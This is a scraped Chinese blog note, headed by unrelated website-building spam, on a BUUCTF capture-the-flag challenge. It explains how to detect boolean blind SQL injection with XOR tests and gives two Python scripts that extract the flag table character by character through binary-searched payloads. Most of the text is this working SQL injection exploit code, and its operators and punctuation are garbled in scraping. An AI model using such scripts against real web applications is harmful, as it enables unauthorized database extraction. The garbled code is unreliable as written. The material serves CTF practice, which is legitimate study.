一建 建设网站,深圳建站公司兴田德润放心,做网站得基础,公共资源交易中心官网首页自用
题目 考虑是不是布尔盲注#xff0c;如何测试#xff1a;用1^1^11 1^0^10#xff0c;就像是真真真等于真#xff0c;真假真等于假这个测试
SQL布尔盲注脚本1
import requestsurl http://8e4a9bf2-c055-4680-91fd-5b969ebc209e.node5.buuoj.cn…自用
题目 考虑是不是布尔盲注如何测试用1^1^11 1^0^10就像是真真真等于真真假真等于假这个测试
SQL布尔盲注脚本1
import requestsurl http://8e4a9bf2-c055-4680-91fd-5b969ebc209e.node5.buuoj.cn:81/index.php
flag
i 0while True:i i 1letf 32right 127while letf right:mid (letfright) // 2payload fif(ascii(substr((select(flag)from(flag)),{i},1)){mid},1,2)data {id:payload}res requests.post(urlurl, datadata).textif Hello in res:letf mid 1else:right midif letf ! 32:flag chr(letf)print(flag)else:break
SQL布尔盲注脚本2
import requests
#调用请求模块
import time
#调用时间模块
import re
#调用规则表达式模块
urlhttp://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/
#题目链接
flag
#创建一个变量用来存放flag值
for i in range(1,50):#for循环遍历i表示flag值大致长度是50以内max 127#赋值127min 0#赋值0for c in range(0,127):#for循环遍历s (int)((maxmin)/2)#首先将 max 和 min 相加然后除以 2最后将结果强制转换为整数类型。payload 1^(ascii(substr((select(flag)from(flag)),str(i),1))str(s))#^异或运算符相同为假不相同为真1^payload若为payload结果为假则返回01^01将得到查询id1时的结果回显Hello, glzjin wants a girlfriend。#从flag数据表中选择一个名为flag的字段然后取这个字段的字符串从位置 str(i) 开始长度为 1每次只返回一个#将这个字符串转换为 ASCII 码然后判断这个 ASCII 码是否大于一个名为 s 的变量。r requests.post(url,data {id:payload})#requests模块的运用将payload赋值给题目中这个名为id的参数time.sleep(0.005)#每循环一次休眠0.005秒if Hello in str(r.content):#如果Hello这个字符串在生成的结果中那么就继续向下进行maxs#将s的值赋值给maxelse:#反之mins#将s的值赋值给minif((max-min)1):#如果max-min的值flagchr(max)#将max的ASCII值转化为字符串print(flag)#输出flagbreak#跳出循环